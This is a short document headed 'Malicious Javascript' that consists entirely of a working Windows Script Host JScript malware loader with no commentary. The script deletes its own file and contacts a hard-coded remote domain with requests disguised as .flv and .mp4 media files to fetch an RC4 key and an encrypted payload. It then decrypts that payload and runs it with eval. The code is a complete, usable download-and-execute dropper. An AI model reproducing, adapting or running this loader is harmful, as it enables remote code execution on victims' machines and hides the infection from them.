Malicious Javascript

var domurl = "gae3emightymagoo.com";
addr1 = "https://"+domurl+"/"+(new Date()).getTime()+".flv";
 addr = "https://"+domurl+"/"+(new Date()).getTime()+".mp4";


a = new ActiveXObject('WScript.Shell');

m = new ActiveXObject("MSXML2.XMLHTTP");

f = new ActiveXObject("Scripting.FileSystemObject");

try{
c=WScript.ScriptFullName;
if(f.FileExists(c))f.DeleteFile(c);
}
catch(e){}

for(var i=1;i<=5;i++){
try{
m.open("GET", addr1+"?t="+(new Date()).getTime(), false);
m.send(null);
break;}
catch(e)
{
WScript.Sleep(5000);
}
}

key=m.ResponseText.substring(3);
id=m.ResponseText.substring(0,3);

for(var i=1;i<=5;i++)
{
try{
m.open("GET", addr+"?t="+(new Date()).getTime(), false);
m.send(null);
break;
}
catch(e)
{
WScript.Sleep(5000);
}
}
encoded=m.ResponseText;

crypted="";

for(i=0;i<encoded.length;i+=2)
    crypted+=String.fromCharCode(parseInt(encoded.substr(i,2),16));

cyphered=crypted;

var rc4table = [], counter2 = 0, tmp, decrypted = "";

for (var counter = 0; counter < 256; counter++)
{rc4table[counter] = counter;}

for (counter = 0; counter < 256; counter++)
 {
 counter2 = (counter2 + rc4table[counter] + key.charCodeAt(counter % key.length)) % 256;
 tmp = rc4table[counter];
 rc4table[counter] = rc4table[counter2];
 rc4table[counter2] = tmp;
 }

 counter = 0;
 counter2 = 0;

 for (var counter3 = 0; counter3 < cyphered.length; counter3++)
 {
 counter = (counter + 1) % 256;counter2 = (counter2 + rc4table[counter]) % 256;tmp = rc4table[counter];
 rc4table[counter] = rc4table[counter2];rc4table[counter2] = tmp;
 decrypted += String.fromCharCode(cyphered.charCodeAt(counter3) ^ rc4table[(rc4table[counter] + rc4table[counter2]) % 256]);
 }

eval(decrypted);